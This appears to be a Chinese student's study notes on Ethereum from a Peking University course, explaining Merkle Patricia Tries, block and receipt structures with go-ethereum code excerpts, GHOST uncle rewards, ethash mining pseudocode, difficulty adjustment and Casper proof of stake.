0.前言
本文为区块链的学习笔记,主要参考来源为北京大学肖臻老师《区块链技术与应用》公开课的以太坊部分,链接在这里,这门公开课使我获益匪浅,非常感谢老师的讲授!
以太坊(Ethereum)是一个开源的有智能合约功能的公共区块链平台,通过其专用加密货币以太币(Ether)提供去中心化的以太虚拟机(Ethereum Virtual Machine)来处理点对点合约。
1.以太坊
1.1 概述
以太坊是基于ghost协议的平台,其使用的加密货币以太币,是比特币的升级版。以太币相较于比特币,出块时间短,mining puzzle不是基于算力,而是基于内存(memory hard),限制了ASIC芯片的使用,使用权益证明(proof of work)替代工作量证明(proof of work),增加了对于智能合约(smart contract)的支持。
比特币出现后,作为一种去中心化的货币,它替代了中心化机构银行的职能。此外还有一些中心化机构的职能也可以被替代,例如简单逻辑结构的合同仲裁,于是就出现了智能合约。
当合同方来自世界各地,法律约束将会很复杂,因为他们不在同一个司法管辖权之内。即使在同一个司法管辖权内,司法程序也很复杂。而通过智能合约的方式,将规则事先写入,通过程序执行就会很简单。
1.2 现状
以太币目前的供应量和市值如下图所示:来源点这里
以太币历史价格变化如下图所示:来源点这里
以太币的数量整体是线性变化的,如下图所示:来源点这里
哈希率(hashrate)是全网矿工的每秒计算的哈希次数,是算力的体现.可以看到最近的算力下降了很多。哈希率变化如下图所示:来源点这里
矿池占比如下图所示:来源点这里
2.基于账户的模式
以太坊是基于账户模型(account-based ledger)的体系,在系统中显式记录账户余额,不像比特币需要通过UTXO计算账户的余额。它能很自然的防范双花攻击,因为是基于账户余额的,以太币每花一次就少一份。但是相对的会出现重放攻击(replay attack),也就是收款方不诚实,想让付款方重新转钱。
如何防范重放攻击?通过增加nonce字段,将每个账户的交易编号,并且每发生一笔交易,用私钥签名。每次增加一笔交易,nonce+1.
以太坊中有两类账户,分别是外部账户(externally owned account)和合约账户(smart contract account)。
外部账户也叫普通账户,由公私钥对控制,有账户余额(balance),nonce。
合约账户不能主动发起交易,外部账户可以调用合约账户,使这个账户调用另一个合约账户。合约账户有balance,nonce,有代码(code),相关状态存储(storage),调用的时候调用合约账户的地址。
设置这种模型的原因是因为,比特币匿名性强,但是以太坊是需要支持智能合约的,对身份有要求,需要一个相对固定的身份。
3.以太坊中的数据结构
以太坊是基于账户的模式,它的数据结构首先要完成从地址(address)到状态(state)的映射。
地址:以太坊中的地址,是160位,将其表示为40个十六进制的数。
状态:就是外部账户和合约账户的状态。
3.1 哈希表的可行性
首先考虑使用哈希表,因为address与state的映射类似于哈希表的key-value对,查询复杂度是常数级的。哈希表存在一个问题,
构建merkle tree的时候,需要遍历所有的账户,才能提供一个根哈希,而每次有一个交易时,merkle tree就需要重新修改,根哈希也需要修改,代价很大。
比特币中的merkle tree的根哈希,是获得记账权的节点计算出来的,基于交易的模型,一旦写入区块链,内容不可改变。
3.2 直接将账户加入merkle tree
其次考虑将每一个地址加入merkle tree,然后计算哈希,这样的问题更大。
1.merkle tree没有提供快速查找和更新树的方法。
2.使用unsorted merkle tree系统中全节点对于地址的排序是不唯一的,这样构建的merkle tree不是唯一的,计算出的根哈希也是不唯一的,但是实际上包含的地址是全部一样的,这样造成了全节点之间的不一致。
3.使用unsorted merkle tree是对于账户状态的维护,不像是比特币中只有不到4000个交易。而且交易必须发布,但是账户状态不是必须要发布的,有的账户的状态没有变化,就可以不发布。
4.使用sorted merkle tree会出现另外的一个问题,假如有一个地址想要插入到其中,一个地址的变动,可能会导致很多的哈希值的变化,代价太大。
3.3 MPT结构
以太坊中使用了MPT的数据结构
3.3.1 trie
首先解释字典树(trie)
字典树:又称单词查找树,是一种树形结构,是哈希树的一种变种。典型的应用是用于统计,排序和保存大量的字符串(但不仅限于字符串),所以经常被搜索引擎系统用于文本词频统计。
一个典型的字典树如下图所示:
它的特点
1.每个节点的分叉数目,由节点key值的取值范围决定。
2.键值越长,需要访问内存的次数越多。
3.只要地址不一样,trie不会产生碰撞
4.给定输入,无论怎样的顺序输入,构造的树是同一棵树。
5.更新局部性,插入的时候对一小部分进行修改。
6.对于路径单一的分支,存储浪费问题很明显。
3.3.2 PT(Patricia Trie)
针对路径单一的分支,对单一路径进行压缩,成为前缀树,如下图所示
对路径进行了压缩,减少了存储浪费。路径压缩在键值稀疏的时候效果最好,对于以太坊的地址,地址长度为160位,总的地址空间为2^160,用户账户相对于这个地址空间来说是很小的,所以是稀疏的,可以进行路径压缩。
3.3.3 MPT(Merkle Patricia Trie)
使用哈希指针代替pt中的普通指针,有以下几个作用。
1.写入区块头部,防止篡改
2.提供merkle prove
3.可以证明账户不存在,如果存在将存在的分支发过去,然后通过merkle prove进行证明,类似于比特币中的nonmember-ship证明。
3.3.4 Modified MPT
以太坊中对于Modified MPT的描述如下图所示
可以发现,在这个Modified MPT,将各个节点进行饿了细分,分为扩展节点(extension node),分支节点(branch node),叶子节点(leaf node)。在每个节点中增加了前缀,与节点的类型进行映射,
当另一个区块想加入链中时,如下图所示:
可以看到,一个区块的加入也是极为方便的,只需要在本地组装好状态改变的部分,然后与先前状态未改变的部分,一起组成Modified MPT即可,共享了未发生变化的节点。
在以太坊中,节点需要维护原先的历史状态,因为以太坊出块时间短,块的传播有时延,当矿工发现自己的链不是最长合法链时,需要将交易回滚,这个时候保留的状态就发挥了作用。这与比特币不同,比特币可以通过交易来推算,而以太坊中,有智能合约,有图灵完备的编程语言,这种执行过程是不可逆的,所以必须保存历史状态。
3.4 block header结构
以下是以太坊中block header的数据结构。来源:https://github.com/ethereum/go-ethereum/blob/master/core/types/block.go
// Header represents a block header in the Ethereum blockchain.
type Header struct {
ParentHash common.Hash `json:"parentHash" gencodec:"required"`
UncleHash common.Hash `json:"sha3Uncles" gencodec:"required"`
Coinbase common.Address `json:"miner" gencodec:"required"`
Root common.Hash `json:"stateRoot" gencodec:"required"`
TxHash common.Hash `json:"transactionsRoot" gencodec:"required"`
ReceiptHash common.Hash `json:"receiptsRoot" gencodec:"required"`
Bloom Bloom `json:"logsBloom" gencodec:"required"`
Difficulty *big.Int `json:"difficulty" gencodec:"required"`
Number *big.Int `json:"number" gencodec:"required"`
GasLimit uint64 `json:"gasLimit" gencodec:"required"`
GasUsed uint64 `json:"gasUsed" gencodec:"required"`
Time *big.Int `json:"timestamp" gencodec:"required"`
Extra []byte `json:"extraData" gencodec:"required"`
MixDigest common.Hash `json:"mixHash"`
Nonce BlockNonce `json:"nonce"`
}
关于一些字段的解释:
UncleHash:这里的UncleHash不是和ParentHash处于同一级的
Root:状态树的根哈希值
TxHash:交易树的根哈希值
ReceiptHash:收据树的根哈希值
Bloom:提供高效的查询结果,由各个收据树的Bloom filter构成
GasLimit,GasUsed:与交易费相关,后续会说明。
以下是以太坊中block的数据结构
// Block represents an entire block in the Ethereum blockchain.
type Block struct {
header *Header
uncles []*Header
transactions Transactions
// caches
hash atomic.Value
size atomic.Value
// Td is used by package core to store the total difficulty
// of the chain up to and including the block.
td *big.Int
// These fields are used by package eth to track
// inter-peer block relay.
ReceivedAt time.Time
ReceivedFrom interface{}
}
关于一些字段的解释:
header :指向区块头部的指针
uncles :指向uncle区块的指针,是一个数组,因为一个区块可以有很多uncle区块
transactions:交易列表
下面是extblock,包含着发布区块的前三项。
// "external" block encoding. used for eth protocol, etc.
type extblock struct {
Header *Header
Txs []*Transaction
Uncles []*Header
}
3.5 value的存储
经过RLP(recursive length profix)序列化之后存储,序列化的目标就是极简编码,最后组成的类型为嵌套字节数组(nested array of bytes)。RLP详细介绍点击这里
4.交易树与收据树
数据结构:交易树与收据树的皆为MPT。
在以太坊中,多个区块的状态树共享节点,如果需要加入区块,只需要将分支加入。而状态树和 交易树只包含当前状态下的信息,没有共享的节点。
交易树与状态树的作用:
提供merkle prove:交易树证明某个交易在区块内,收据树证明交易的执行结果。
查询:找到符合某种条件的交易或事件。为了提供高效的查询,引入了bloom filter结构
4.1 Bloom Filter
Bloom filter 采用的是哈希函数的方法,将一个元素映射到一个 m长度的向量上的一个点,当这个点是 1 时,那么这个元素在集合内,反之则不在集合内。这种做法的缺陷也很明显,当有非常多的数据时,容易产生碰撞,如下图所示:
这种情况下,不能判断元素是c还是另外的元素,因为存在着碰撞。
Bloom filter会产生误报(false positive )但是不会漏报(false negative),为减少误报,可以通过设置不同的哈希函数的方法以减少碰撞。
在Bloom filter中,无法进行删除操作,主要考虑的是哈希碰撞,一个位置对应多个元素。
以太坊中,Bloom filter存在于每笔交易的收据中,每笔交易的Bloom filter组成一个Bloom filter的并集构成整个区块的Bloom filter。当要查找满足某种条件的Bloom filter时,可以先查找区块的Bloom filter然后再根据条件查看交易的Bloom filter。
4.2 交易驱动的状态机
以太坊的工作过程可看作是交易驱动的状态机(transaction-driven state machine),由每一笔交易推动状态树的改变,从而推动整个系统运行。比特币系统类似,比特币系统的状态是UTXO,对一组给定的交易,状态的转移是确定的,每个全节点收到给定的交易,能从一个确定的状态转移至拎一个确定的状态。
同比特币类似,一个转账地址有可能从未在状态树中出现过,当这个地址出现时,需要将其加入到状态树中。
只将与交易相关的账户放入状态树,会出现的问题:首先账户状态不一致的问题,其次如果发生一笔交易,如下图所示。
A想转账给T,需要检查A的账户状态,但是最近的几次交易没有关于A的,只有不停地回溯,回溯到A->P的交易。同样的需要检查T的账户状态,因为这笔交易需要判断T账户的余额,然后再增加以太币,而T是一个从未出现过的账户,需要追溯到创世纪块,才发现T没出现过,才能改写T的账户状态。
4.3 源码解析
4.3.1 交易树
交易树数据结构如下:
type Transaction struct {
data txdata
// caches
hash atomic.Value
size atomic.Value
from atomic.Value
}
type txdata struct {
AccountNonce uint64 `json:"nonce" gencodec:"required"`
Price *big.Int `json:"gasPrice" gencodec:"required"`
GasLimit uint64 `json:"gas" gencodec:"required"`
Recipient *common.Address `json:"to" rlp:"nil"` // nil means contract creation
Amount *big.Int `json:"value" gencodec:"required"`
Payload []byte `json:"input" gencodec:"required"`
// Signature values
V *big.Int `json:"v" gencodec:"required"`
R *big.Int `json:"r" gencodec:"required"`
S *big.Int `json:"s" gencodec:"required"`
// This is only used when marshaling to JSON.
Hash *common.Hash `json:"hash" rlp:"-"`
}
关键字段的解释:
data:txdata类型。
atomic.Value:go语言中的原子值类型,可以实现安全存储
AccountNonce:账户交易数目,每发生一笔交易然后变化
在block.go的源码中,可以找到有关交易树的代码如下:
if len(txs) == 0 {
b.header.TxHash = EmptyRootHash
} else {
b.header.TxHash = DeriveSha(Transactions(txs))
b.transactions = make(Transactions, len(txs))
copy(b.transactions, txs)
}
首先判断交易列表是否为空,空的话将交易树的根哈希赋值为EmptyRootHash。交易列表不为空,通过DeriveSha函数计算所有交易的根哈希,然后创建交易列表。
4.3.2 收据树
收据树的数据结构如下:来源点这里
type Receipt struct {
// Consensus fields
PostState []byte `json:"root"`
Status uint64 `json:"status"`
CumulativeGasUsed uint64 `json:"cumulativeGasUsed" gencodec:"required"`
Bloom Bloom `json:"logsBloom" gencodec:"required"`
Logs []*Log `json:"logs" gencodec:"required"`
// Implementation fields (don't reorder!)
TxHash common.Hash `json:"transactionHash" gencodec:"required"`
ContractAddress common.Address `json:"contractAddress"`
GasUsed uint64 `json:"gasUsed" gencodec:"required"`
}
关键字段的解释:
Bloom:就是Bloom filter
Logs:收据记录,Bloom filter产生的来源。
计算收据树哈希的代码如下:
if len(receipts) == 0 {
b.header.ReceiptHash = EmptyRootHash
} else {
b.header.ReceiptHash = DeriveSha(Receipts(receipts))
b.header.Bloom = CreateBloom(receipts)
}
首先判断交易列表是否为空,空的话将收据树的根哈希赋值为EmptyRootHash。交易列表不为空,通过DeriveSha函数计算所有收据的根哈希,然后通过CreateBloom函数创建Bloom filter。
4.3.3 DeriveSha
两棵树都涉及到的DeriveSha函数,内容如下:[来源点这里] https://github.com/ethereum/go-ethereum/blob/master/core/types/derive_sha.go
func DeriveSha(list DerivableList) common.Hash {
keybuf := new(bytes.Buffer)
trie := new(trie.Trie)
for i := 0; i < list.Len(); i++ {
keybuf.Reset()
rlp.Encode(keybuf, uint(i))
trie.Update(keybuf.Bytes(), list.GetRlp(i))
}
return trie.Hash()
}
可以看到首先创建了trie树,将所有的内容,通过rlp序列化,随后更新trie树,计算哈希。
4.3.4 CreateBloom
关于CreateBloom的源码如下:来源点这里
func CreateBloom(receipts Receipts) Bloom {
bin := new(big.Int)
for _, receipt := range receipts {
bin.Or(bin, LogsBloom(receipt.Logs))
}
return BytesToBloom(bin.Bytes())
}
首先参数是整个区块的所有收据,for循环将所有收据经过LogsBloom函数处理,生成收据的Bloom filter,然后将这些Bloom filter通过or合并起来,得到整个区块的Bloom filter。
4.3.5 LogsBloom
LogsBloom函数的源码如下:
func LogsBloom(logs []*Log) *big.Int {
bin := new(big.Int)
for _, log := range logs {
bin.Or(bin, bloom9(log.Address.Bytes()))
for _, b := range log.Topics {
bin.Or(bin, bloom9(b[:]))
}
}
return bin
}
主要功能是生成单个收据的Bloom filter,函数参数是log树,也是一个数组。双层for循环,外层循环将每一个log的地址取哈希然后合并加入Bloom filter;内层循环将每隔log的Topics 加入Bloom filter,这样就得到了这个收据的Bloom filter。
4.3.6 bloom9
bloom9是哈希函数,源码如下:
func bloom9(b []byte) *big.Int {
b = crypto.Keccak256(b)
r := new(big.Int)
for i := 0; i < 6; i += 2 {
t := big.NewInt(1)
b := (uint(b[i+1]) + (uint(b[i]) << 8)) & 2047
r.Or(r, t.Lsh(t, b))
}
return r
}
这个函数与之前提到的将digest映射到一个位置的哈希函数不同,这里映射到了三个位置。
首先通过crypto.Keccak256生成256比特(32字节)的哈希值,r是Bloom filter。
然后将每两个字节拼接在一起,
然后对2048取余数,得到了一个位于0-2047的结果,以太坊中Bloom filter的长度是2048位,然后将1左移b位,放入上一轮的Bloom filter中。
经过三轮变换,改变三个位置。
4.3.7 查询Bloom filter
通过BloomLookup函数实现:
func BloomLookup(bin Bloom, topic bytesBacked) bool {
bloom := bin.Big()
cmp := bloom9(topic.Bytes())
return bloom.And(bloom, cmp).Cmp(cmp) == 0
}
先将传入的数据转成bloom9值,传入的bloomBin转成bigInt。根据按位与操作,判断传入的值是否在Bloom过滤器里面。
5.共识机制——GHOST协议
以太坊中的出块时间减少到了十几秒,相对于比特币有了大幅度的减少,由此带来了一个问题,区块的传播是基于p2p overlay network的,在网络上传播有时延,各个节点根据收到的块的不同,会产生临时性的状态分叉,而且是一种常态。如下图所示:
在比特币系统中,分叉的块由于不满足最长合法链原则,最终被丢弃,得不到出块奖励。如果在以太坊中使用相同的机制,会出现很大的问题。每个节点挖出的块,在以太坊中会有很大的概率被丢弃,而这些节点就相当于在白费力。与之相对的是矿池,矿池的算力强,更容易计算出下一个块,成为最长合法链,造成挖矿的集中化(mining centralization)。现实中,矿池占据了一些通信较好的节点,使其他矿工更容易接收到自己的区块,未挖出区块的矿工更倾向于扩展大型矿池挖出的区块,使其成为最长合法链的概率增加,形成恶性循环,造成中心化偏见(centralization bias)。
在以太坊中采用了GHOST协议,比特币中的丢弃块被称为叔父区块(uncle block)。协议的核心思想在于:对没有成为最长合法链的区块仍然提供一些奖励。
5.1 最初版本
如下图所示:
最多为两个叔父区块提供奖励。这种设计的最大的意义在于,有利于鼓励系统中出现分叉后及时合并。
缺陷在于:
1.出现第三个分叉区块后,无法被区块包含。
2.矿池之间存在竞争关系,有矿池故意不包含另一家矿池的叔父区块,造成损失。
3.最长合法链扩展的太快,未包含两代之前的叔父区块。
5.2 升级版本
扩展了关于叔父区块的定义,如下图所示,也可以称之为叔父区块,只不过是获得的奖励不同。隔得代数越久,奖励越低,等到7代之前的分叉区块就不算叔父区块了。如下图所示:
这样设计的目的在于:
1.控制了叔父区块的代数,避免了全节点需要维护更加庞大的状态树。
2.出块奖励按代减少,有利于促进尽早的合并区块。
5.3 奖励构成
比特币系统中的奖励构成为:出块奖励+交易费
以太坊系统中的奖励构成为:出块奖励+汽油费(gas fee),叔父区块只得到出块奖励。在这里要注意:叔父区块中的交易不能执行。因为两者可能包含有相同的交易。
以太坊中对于叔父区块的奖励,只给分叉之后的地一个区块,这样有助于促进分叉的尽早合并,同时也可以防范分叉攻击。如下图所示:
假如分叉链上的每个叔父区块都获得了奖励,那么攻击者可以减小发动分叉攻击的代价,因为即使失败了,每个区块也可以拿到出块奖励。
5.4 实例
可以在etherscan.io中,查到一些实例,查询时间为2019/3/8,基本出块奖励为2eth。所以叔父奖励对应的值如下表:
距离 | 比例 | 实际奖励 |
---|---|---|
1 | 7/8 | 1.75 |
2 | 6/8 | 1.5 |
3 | 5/8 | 1.25 |
4 | 4/8 | 1 |
5 | 3/8 | 0.75 |
6 | 2/8 | 0.5 |
关于叔父区块得到的奖励,如下图所示:来源点这里
可以看到,实际系统中的分叉并不多,而且都是短分叉,分叉之后可以得到很快的合并。
一个区块包含的叔父区块的个数,可以通过打包奖励看出,如下图:
Uncles Reward=1.75(距离为1的叔父区块)+1.5(距离为2的叔父区块)=3.25
Block Reward=2(基本出块奖励)+0.05931647941825 (gas fee)+ 0.125(2*(1/32)*2打包奖励)
Uncles Reward=1.5(距离为2的叔父区块=1.5)
Block Reward=2(基本出块奖励)+0.038512275077478098(gas fee)+ 0.0625(1*(1/32)*2打包奖励)
6.挖矿算法
比特币的挖矿算法,由于其基于算力进行挖矿,造成了挖矿设备的专业化,这与比特币最初的设计理念不符。“one cpu,one vote”,普通的家用电脑参与比特币的挖矿已经毫无优势。
为了抵抗挖矿设备的专业化,以太坊系统中使用了基于内存的挖矿难题(memory hard mining puzzle)。
6.1 莱特币(LiteCoin)
莱特币受到了比特币(BTC)的启发,并且在技术上具有相同的实现原理。
莱特币旨在改进比特币,与其相比,莱特币具有三种显著差异。
1.莱特币网络每2.5分钟(而不是10分钟)就可以处理一个块,因此可以提供更快的交易确认。
2.莱特币网络预期产出8400万个莱特币,是比特币网络发行货币量的四倍之多。
3.莱特币在其工作量证明算法中使用了由Colin Percival首次提出的scrypt加密算法,这使得相比于比特币,在普通计算机上进行莱特币挖掘更为容易。
6.1.1 scrypt算法简介
在密码学中,scrypt是由Colin Percival创建的基于密码的密钥导出函数,最初用于Tarsnap在线备份服务。该算法专门需要通过大量内存来执行,提高了大规模定制硬件攻击的成本。2016年,scrypt算法由IETF发布为RFC 7914. scrypt的简化版本被许多加密货币用作工作量证明方案,首先由Tenebrix中名为ArtForz的匿名程序员实现,然后是Fairbrix和不久之后的Litecoin。
scrypt的大内存需求来自大量伪随机位串,这些数作为算法一部分生成。生成向量后,以伪随机顺序访问它的元素并组合以生成导出密钥。一个简单的实现需要将整个向量保存在RAM中,以便可以根据需要访问它。
因为向量的元素是通过算法生成的,所以每个元素都可以根据需要动态生成,一次只在内存中存储一个元素,因此显著降低了内存需求。然而,每个元素的生成在计算上代价很大的,并且整体的期望在整个函数执行期间多次访问元素。因此,为了摆脱大的存储器需求,存在显着的速度降低。
这种时间 - 内存权衡(time-memory trade off)通常存在于计算机算法中:提高速度的方法可以是使用更多内存,内存需求降低的方法可以是执行更多操作和花费更长时间。 scrypt背后的想法是有意在任何一个方向上进行这种权衡。因此,攻击者可以很少的内存资源方法(因此可以用有限的费用进行大规模并行化)但运行速度非常慢,或者使用运行速度更快但内存需求非常大的方法。
具体运行过程如下图:
每个向量依赖于前一个生成。使用随机数nonce生成访问的向量,得到A之后,对A这个向量进行运算得到B,使用B进行运算得到C,由此可见如果不对向量进行存储,那么需要的计算量会大大增加。
6.1.2 scrypt实际应用
scrypt算法会生成大量的向量,这些向量的存储需要一个很大的内存空间,对于轻节点来说,这个空间会很大。所以实际应用中,轻节点中的向量空间只有128K,不足以给ASIC芯片的生产和设计产生障碍。
但是莱特币提出的基于内存的挖矿难题,对后续的加密货币的出现是一种启发作用。
6.2 以太坊中的算法
轻节点中存储一个16M的cache,矿工保存一个大数据集1G的dataset。具体过程如下:
从seed节点生成一个cache,然后循环256次从cache中取值,最后计算出的值放入dataset中。重复这个256次的循环,最终生成大数据集。
根据nonce求解难题的时候是通过大数据集中的数据进行求解。如下图所示:
根据块首部和nonce的值,映射到dataset中的位置,然后取出向量及其旁边的一个向量,根据他们的值,继续计算第二个位置,总共64轮计算,最后得到一个哈希,判断是否满足目标阈值。
6.3 伪代码实现
6.3.1 cache生成算法
def make_cache(cache_size,seed):
o = [hash(seed)]
for i in range (1,cache_size):
o.append(hash(o[-1]))
return o
1.cache_size初始为cache的初始大小为16M,每隔30000个块重新生成时增大初始大小的1/128 ----128K。
2.根据seed计算出第一个数组中的元素
3.进行数组大小次循环,同时增加数组内容,后一个元素是前一个元素的hash。最后返回一个数组
4.每隔30000个块会重新生成seed(对原来的seed求哈希值),并且利用新的seed生成新的cache。
6.3.2 dataset中第i个元素生成
def calc_dataset_item(cache,i):
cache_size=cache.size
mix=hash(cache(i%cache_size^i))
for j in range(256):
cache_index=get_int_from_item(mix)
mix=make_item(mix,cache[cache_index%cache_size])
return hash(mix)
1.dataset叫作DAG,初始大小是1G,每隔30000个块更新,同时增大初始大小的1/128----8M。
2.首先初始化mix,通过cache中的元素进行初始化。
3.经过256次循环,不断循环迭代计算mix,最后返回的mix的哈希值就是大数据集中的第i个元素的值
6.3.3 dataset所有元素生成
def calc_dataset(full_size,cache):
return [calc_dataset_item(cache,i) for i in range(full_size)]
通过calc_dataset_item函数来依次生成dataset中全部full_size个元素。
6.3.4 全节点处算法
def hashimoto_full(header,nonce,full_size,dataset):
mix=hash(header,nonce)
for i in range(64):
dataset_index=get_int_from_item(mix)
mix=make_item(mix,dataset[dataset_index])
mix=make_item(mix,dataset[dataset_index+1])
return hash(mix)
1.通过header和nonce求出一个初始的mix
2.进入64次循环,根据当前的mix值求出要访问的dataset的元素的下标。
3.根据这个下标访问dataset中两个连续的的值。
4.最后返回mix的哈希值,用来和target比较。
6.3.5 轻节点处算法
def hashimoto_light(header,nonce,full_size,cache):
mix=hash(header,nonce)
for i in range(64):
dataset_index=get_int_from_item(mix)%full_size
mix=make_item(mix,calc_dataset_item(cache,dataset_index))
mix=make_item(mix,calc_dataset_item(cache,dataset_index+1))
return hash(mix)
轻节点的算法与全节点基本相同,不同的是mix值的计算过程。全节点直接在大数据集中取数据,轻节点由于存储空间小,需要通过下标进行计算得到大数据集中的值。在此,轻节点可以通过块头来很方便的计算内容。
6.3.6 挖矿函数
def mine(full_size,dataset,header,target):
nonce=random.randint(0,2**64)
while hashimoto_full(header,nonce,full_size,dataset)>target:
nonce=(nonce+1)%2**64
return nonce
1.full_size指的是dataset的元素个数,dataset就是从cache生成的DAG,header是区块头,target就是挖矿的目标,我们需要调整nonce来使hashimoto_full的返回值小于等于target。
2.先随机初始化nonce。
3.一个个尝试nonce,直到得到的值小于target。
7.难度调整算法
7.1 区块难度公式
1.D(H)是当前区块的挖矿难度,由基础部分max(D0,P(H)Hd+x*𝜍2)和难度炸弹𝜖 相加组成。
2.P(H)Hd是父区块的挖矿难度
3.x*𝜍2是自适应调整挖矿难度,维持稳定的出块速度
4.𝜖 是难度炸弹
5.基础部分有下界是D0=131072
7.2 自适应调整公式x*𝜍2
1.x是调整的单位,𝜍2为调整的系数。
2.y和父区块的uncle数有关。如果父区块中包括了uncle,则y为2,否则为1。
3.父块包含uncle时难度会大一个单位,因为包含uncle时新发行的货币量大,需要适当提高难度以保持货币发行量稳定。
4.难度降低的上界设置为−99 ,主要是应对被黑客攻击或其他目前想不到的黑天鹅事件。
5.Hs是本区块的时间戳,P(H)Hs是父区块的时间戳,均以秒为单位,并规定Hs>P(H)Hs。
举例说明难度调整过程:以父块不带uncle的情况(𝑦 = 1)为例
出块时间在[1,8]之间,出块时间过短,难度调大一个单位。
出块时间在[9,17]之间,出块时间可以接受,难度保持不变。
相差时间在[18,26]之间,出块时间过长,难度调小一个单位。
7.3 难度炸弹𝜖
1.𝜖每十万个块扩大一倍,是2的指数函数,到了后期增长非常快,这就是难度“炸弹”的由来。
2.设置难度炸弹的原因是要降低迁移到PoS协议时发生fork的风险:到时挖矿难度非常大,所以矿工有意愿迁移到PoS协议。
现在的情况是权益证明机制存在着相当大的问题,工作量证明仍然是主流,而难度炸弹的威力已经开始显现出来。为降低挖矿难度,将真正的block number 减去300万作为Hi’,然后继续挖矿。
3.Hi'称为fake block number,由真正的block number Hi减少300万得到。这样做的原因是低估了PoS协议的开发难度,需要延长大概一年半的时间
难度炸弹影响如下图所示:
7.4 以太坊发展的四个阶段
7.4.1 边境阶段
边境(Frontier,2015年7月):以太坊网络第一次上线,开发者可以在上面挖以太币,并开始开发dApp和各种工具。
7.4.2 家园阶段
家园(Homestead,2016年3月):以太坊发布了第一个正式版本,对协议进行了优化,为之后的升级奠定了基础,并加快了交易速度。
7.4.3 大都会阶段
大都会(Metropolis,2017年10月):这个阶段分两次上线,分别是拜占庭(Byzantium,2017年10月)和君士坦丁堡(Constantinople,2019年1月),让以太坊变得更轻量、更快速、更安全。
难度炸弹的回调发生在Byzantium这个子阶段,在EIP(Ethereum Improvement Proposal)中决 定。
7.4.4 宁静阶段
宁静(Serenity,时间待定):这个阶段将会为我们带来期待已久的PoS共识,使用Casper共识算法。
7.5 代码实现
代码来源点这里
以下是难度调整公式的表达式,bigTime是当前时间戳,bigParentTime是父区块的时间戳。
// algorithm:
// diff = (parent_diff +
// (parent_diff / 2048 * max((2 if len(parent.uncles) else 1) - ((timestamp - parent.timestamp) // 9), -99))
// ) + 2^(periodCount - 2)
bigTime := new(big.Int).SetUint64(time)
bigParentTime := new(big.Int).Set(parent.Time)
以下是根据出块时间及叔父区块,稳定出块时间的公式
// (2 if len(parent_uncles) else 1) - (block_timestamp - parent_timestamp) // 9
x.Sub(bigTime, bigParentTime)
x.Div(x, big9)
if parent.UncleHash == types.EmptyUncleHash {
x.Sub(big1, x)
} else {
x.Sub(big2, x)
}
以下是计算𝜍2的公式
// max((2 if len(parent_uncles) else 1) - (block_timestamp - parent_timestamp) // 9, -99)
if x.Cmp(bigMinus99) < 0 {
x.Set(bigMinus99)
}
以下是P(H)Hd+x*𝜍2计算公式
// parent_diff + (parent_diff / 2048 * max((2 if len(parent.uncles) else 1) - ((timestamp - parent.timestamp) // 9), -99))
y.Div(parent.Difficulty, params.DifficultyBoundDivisor)
x.Mul(y, x)
x.Add(parent.Difficulty, x)
DifficultyBoundDivisor的值:来源点这里
DifficultyBoundDivisor = big.NewInt(2048) // The bound divisor of the difficulty, used in the update calculations.
以下公式判断D0
// minimum difficulty can ever be (before exponential factor)
if x.Cmp(params.MinimumDifficulty) < 0 {
x.Set(params.MinimumDifficulty)
}
MinimumDifficulty的值:来源点这里
MinimumDifficulty = big.NewInt(131072) // The minimum that the difficulty may ever be.
以下是难度炸弹的代码
// calculate a fake block number for the ice-age delay
// Specification: https://eips.ethereum.org/EIPS/eip-1234
fakeBlockNumber := new(big.Int)
if parent.Number.Cmp(bombDelayFromParent) >= 0 {
fakeBlockNumber = fakeBlockNumber.Sub(parent.Number, bombDelayFromParent)
}
// for the exponential factor
periodCount := fakeBlockNumber
periodCount.Div(periodCount, expDiffPeriod)
// the exponential factor, commonly referred to as "the bomb"
// diff = diff + 2^(periodCount - 2)
if periodCount.Cmp(big1) > 0 {
y.Sub(periodCount, big2)
y.Exp(big2, y, nil)
x.Add(x, y)
}
return x
其中fakeBlockNumber的计算是
fake_block_number = max(0, block.number - 5000000) if block.number >= CNSTNTNPL_FORK_BLKNUM else block.number
expDiffPeriod的值为
expDiffPeriod = big.NewInt(100000)
7.6 近期变化趋势
下图是以太币的挖矿难度变化趋势,最近的挖矿难度有所下降,是因为进行了硬分叉,进入了君士坦丁堡阶段。来源点这里
下图是以太币的出块时间变化,可以看到出块时间在进行难度调整后,一直维持在15秒左右。
8.权益证明(prove of stake)
工作量证明是通过挖出的区块决定的,最终收益都是由投入的购买矿机的资金决定。这就产生了初步的权益证明,权益证明的基本思想是,通过投入的资金数量的占比决定最终的收益分配,减少了中间的挖矿过程。
采用权益证明的加密货币,挖矿初期会预留一部分货币,然后出售一部分。通过持有货币的总量,来进行投票。
8.1 权益证明优势
首先,基于工作量证明的加密货币系统有以下劣势:
1.系统不是一个闭环,挖矿设备的购买是从加密货币外的系统得到的,需要有现实社会的资金流入。
2.AltCoin infanticide:对于小币种来说,会面临51%攻击,由于刚开始的系统算力小,获得51%的算力相对简单。
应用权益证明之后,会出现以下情况:
系统成为一个闭环,想要发动51%攻击,必须要拿到系统中半数以上的加密货币,而大量购买货币会导致货币价格走高,即使遭到攻击,在一定程度也能通过购买货币得到一定的利润。
8.2 权益证明面临的挑战
nothing at stake,如下图所示:
矿工可以在分叉时同时对两条链进行投票,其中一条链会成为最长合法链,但是另外一条链中投入的资金不会受到影响,做坏事的代价很低。
8.3 以太坊中的权益证明的协议
Casper the Friendly Finality Gadget(FFG),是一种基于保证金的经济激励共识协议(security-deposit based economic consensus protocol)。
协议中的节点,作为“锁定保证金的验证人(bonded validators)”,必须先缴纳保证金(这一步叫做锁定保证金,”bonding”)才可以参与出块和共识形成。
Casper共识协议通过对这些保证金的直接控制来约束验证人的行为。具体来说就是,如果一个验证人作出了任何Casper认为“无效”的事情,他的保证金将被罚没,出块和参与共识的权利也会被取消。保证金的引入解决了”nothing at stake”,也就是经典POS协议中做坏事的代价很低的问题。现在有了代价,而且被客观证明做错事的验证人将会付出这个代价。
具体的工作过程如下图所示:
1.每50个区块,作为一个阶段。
2.由验证人validators进行投票,共进行两轮投票,分为prepare message和commit message。其中每个阶段都要得到2/3以上的验证人投票通过,每个阶段的commit message是上个阶段的prepare message
3.验证者履行职责,可以得到奖励,但是如果不作为或者乱作为,会取消保证金。
4.验证者是有时限的,验证者结束任期后,需要隔一段时间才能完全拿到奖励和保证金。主要是为了检查他原来的工作有没有问题。
8.4 共识协议小结
